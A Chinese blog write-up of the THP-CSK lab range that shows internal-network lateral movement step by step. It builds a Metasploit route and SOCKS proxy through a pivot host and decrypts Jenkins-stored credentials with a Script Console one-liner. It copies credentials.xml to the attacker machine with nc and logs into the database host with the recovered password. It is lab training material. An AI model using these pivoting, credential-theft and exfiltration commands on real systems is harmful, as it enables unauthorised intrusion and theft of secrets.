THP-CSK靶场--内网横向移动(二)

前言:本文承接自横移一,在上一篇中我们三台机器发现是站库分离形式,并且通过SSH登录到了jenkins,那么在这里.30就是作为跳板机而存在,最终拿下.50数据库权限 然后因为都是我没接触过的,所以本篇文章以学习别的师傅写的walkthrough为主


代理内网穿透

首先在跳板机中输入的命令如下:

netstat -tlnp

netstat -tlnp是一个用于查看网络连接和端口监听状态的命令,各参数含义如下:

参数 全称 含义
-t TCP 显示 TCP 协议的连接/端口
-l Listening 只显示正在监听的端口(等待入站连接)
-n Numeric 以数字形式显示 IP 和端口,不进行 DNS 反向解析(更快、更清晰)
-p Process 显示进程 PID 和进程名称(需要 root 权限才能看到其他用户的进程)

image

这里能看到是有8080端口的,但是在最开始的时候用nmap并没有扫到这些端口,说明这些端口是对内网开放,我们需要建立相应的代理进行内网穿透【直接从外部访问显示无法访问】

在.10使用curl,确认能访问:

curl http://172.16.250.30:8080

image

后面就涉及到了SOCKS代理节点问题,先具体了解一下SOCKS

SOCKS(Socket Secure)是一种网络传输协议,主要用于通过代理服务器转发客户端与目标服务器之间的通信请求。它的核心功能包括:
隐藏用户真实IP地址:通过代理服务器,用户的真实IP地址被隐藏,保护用户隐私
穿透防火墙限制:SOCKS协议可以帮助用户绕过网络限制,访问被封锁的资源。
支持多种网络协议:如TCP和UDP,能够代理多种类型的流量,包括HTTP、FTP等。
SOCKS协议经历了多个版本,最常见的是SOCKS4和SOCKS5,后者增加了对UDP和身份验证的支持

运用MSF建立SOCKS代理实现内网穿透,整体流程如下:

1. 已有 Meterpreter 会话(入口机 .10)
2. 添加到达目标内网的路由(autoroute)
3. 启动 SOCKS 代理服务(socks_proxy)
4. 配置 proxychains 使用代理
5. 通过代理访问目标内网(.30)

第一步便是添加路由

但首先要返回msf,输入background

use multi/manage/autoroute
set session 1
run
  1. use multi/manage/autoroute

    含义:加载 Metasploit 的 autoroute 模块。

    模块路径:multi/manage/autoroute

    作用:这是一个后渗透管理模块,能自动从已控主机(session)读取其内网路由表,并批量添加到 MSF 框架的路由表中,相比手动一条条 route add,这个模块能一次性把 session 主机的所有内网网段都加进来

  2. set session 1

    含义:指定要操作的 Meterpreter 会话 ID 为 1

    告诉 autoroute模块:去读取 session 4 这台已控主机的路由表和网卡信息

    这里的session得具体看自己建立的,可通过sessions -l来查看具体的sessionid:

image

关键:验证路由是否添加成功

route print

image


第二步:启动 SOCKS 代理服务

把外部工具(如 Nmap、Hydra、浏览器等)的流量也通过已控跳板机转发进内网

use auxiliary/server/socks_proxy
set SRVPORT 1080
set SRVRHOSTS 0.0.0.0
set VERSION 4a
run
  1. use auxiliary/server/socks_proxy

    含义:加载 SOCKS 代理辅助模块

    模块路径:auxiliary/server/socks_proxy

    作用:在 MSF 框架上启动一个 SOCKS 代理服务,让外部工具能复用 MSF 已建立好的内网路由

  2. set SRVPORT 1080

    设置 SOCKS 代理监听的端口为 1080。

    这是 MSF 本机开启的端口,外部工具配置代理时就要连这个端口

  3. set SRVHOSTS 0.0.0.0

    监听所有网络接口,允许外部连接

  4. set VERSION 4a

    含义:设置 SOCKS 协议版本为 4a

    SOCKS4a:支持域名解析(域名由 MSF 代理端解析,而非客户端自己解析)

    SOCKS5:相比 4a 多了认证、UDP 支持等特性

    这里设 4a 通常是为了兼容性,或者避开某些工具对 SOCKS5 的兼容问题

通过jobs命令来查看模块运行状态

image


第三步:配置 Proxychains

编辑 /etc/proxychains4.conf /etc/proxychains.conf

sudo vim /etc/proxychains4.conf

#找到最后一行修改
socks4 127.0.0.1 1080

socks4:使用 SOCKS4 协议(与上面 VERSION 4 对应)

127.0.0.1:代理服务器的 IP(MSF 运行在本机)

1080:代理服务器的端口

最后输入以下命令检测:

curl --socks4 127.0.0.1:1080 http://172.16.250.30:8080/jenkins/ -v

如果返回的是200,那么就说明成功了


第四步:通过代理访问内网

proxychain firefox

这个其实有点问题,方便一点的话直接自己设置一个代理,注意这里是kali中的火狐:

image

终于能调出正常界面了┭┮﹏┭┮

image

如果想要自己主机上访问的话得换成kali的ip即172.16.250.128

image

火狐中进去之后的页面长这样:

image

如果想用chrome查看的话设置一下代理插件,配置跟火狐一样即可:

image

image


跳板机打点

正常来讲的话要扫路径啥的,一个默认界面也看不出啥东西,但是有个问题是扫描器开了后MSF特别容易崩溃:

proxychains dirsearch -u http://172.16.250.30:8080/ -t 5

记得加proxychains

image

所以这里就不上了,而且给出来用户名,拼接一下也就进去了,后面如果具体碰到了问题再说吧,这里不作为重点,毕竟换工具再扫又崩了的话又得重新开MSF

Credentials下发现了root和db:

image

点进去之后再点击update就能看到root就是之前的ssh私钥,db则有相应的账户密码,直接看看不到密码那就检查一下:

image

得到的密码:

2M0vgELkx9OMFTP8UCoNNneTI7CVjBr9sKSCtKoUl08=

下面就是解密问题了,大部分都是直接给解密脚本的,调用web端系统管理中的脚本命令行:

println hudson.util.Secret.decrypt("2M0vgELkx9OMFTP8UCoNNneTI7CVjBr9sKSCtKoUl08=")

#得到
)uDvra{4UL^;r?*h

Jenkins 自带的一个 Groovy 脚本命令,在 Jenkins 的“脚本命令行”(Script Console)里执行,用于解密 Jenkins 存储的加密凭据

但正常来说肯定是不知道的,所以我们得自己找,因为之前已经通过ssh连上了jenkins,所以到处翻了一下在家目录下找到有用的文件:

image

后面在secret目录下找到了之前命令有关的文件:

image

然后就能下载解密脚本和相应的文件了,具体下载网站戳这里

git clone https://github.com/tweksteen/jenkins-decrypt.git

从靶机上下载到kali可以用nc:

#kali中输入
nc -lvnp 1234 > credentials.xml

#靶机中输入
nc 172.16.250.128 1234 < /home/jenkins/credentials.xml

image

后续两个文件按相同操作执行即可,最后kali中执行解密脚本也可以得到相应密码。

ssh登录数据库:

proxychains ssh db_backup@172.16.250.50 

)uDvra{4UL^;r?*h

三个all,一键root

image


小结

也是第一次打多台,别的师傅写的文章其实最关键的代理穿透其实没有讲的特别清楚,导致我在配置的时候踩到了很多坑,最后再回顾一下:

第一步:把 Session 放到后台

background

第二步:添加内网路由(必须在 SOCKS 代理之前)

二选一:

方法 A:手动加(精确控制)

route add 172.16.250.0 255.255.255.0 1

方法 B:自动加(自动识别跳板机内网网段)

use multi/manage/autoroute
set session 1
run

验证路由是否生效:

route print

输出必须有:

Subnet             Netmask            Gateway
172.16.250.0       255.255.255.0      Session 1

第三步:启动 SOCKS 代理

场景 A:只在 Kali 本机用(浏览器、proxychains 都在 Kali 里跑)

use auxiliary/server/socks_proxy
set SRVHOST 127.0.0.1
set SRVPORT 1080
set VERSION 5
run -j

场景 B:让宿主机浏览器也走这个代理

use auxiliary/server/socks_proxy
set SRVHOST 0.0.0.0          # 允许外部 IP 连接
set SRVPORT 1080
set VERSION 5
run -j

验证代理已启动:

jobs

出现 Auxiliary: server/socks_proxy 则配置正确

第四步:测通

Kali 本机测试:

curl --socks5 127.0.0.1:1080 http://172.16.250.30:8080/ -v

宿主机测试(需先知道 Kali IP,如 192.168.1.100):

curl --socks5 192.168.1.100:1080 http://172.16.250.30:8080/ -v
curl 有返回 HTML → 链路通,弄浏览器即可。
curl 超时/拒绝连接 → 回头看防火墙、路由、SRVHOST 设置

第五步:浏览器配置方案

你在哪用浏览器 代理地址 你指的是谁 说明
Kali 火狐 127.0.0.1 Kali 自己(MSF 在本地) SRVHOST 127.0.0.10.0.0.0 均可。
宿主机浏览器 Kali 的 IP(如 172.16.250.128 Kali 虚拟机 SRVHOST 必须为 0.0.0.0

第六步:命令行工具走代理(proxychains)
先配置 /etc/proxychains4.conf

socks4 127.0.0.1 1080

最后MSF是经济基础,SOCKS代理才是上层建筑记住这一点以后配置就不会出现顺序错误了 φ(゜▽゜*)♪


参考

Linux横向之CSK靶机攻防

THP-CSK 靶场 · Linux 内网横向渗透全流程

posted @ 2026-05-09 22:16  ShoreKiten  阅读(9)  评论(0)    收藏  举报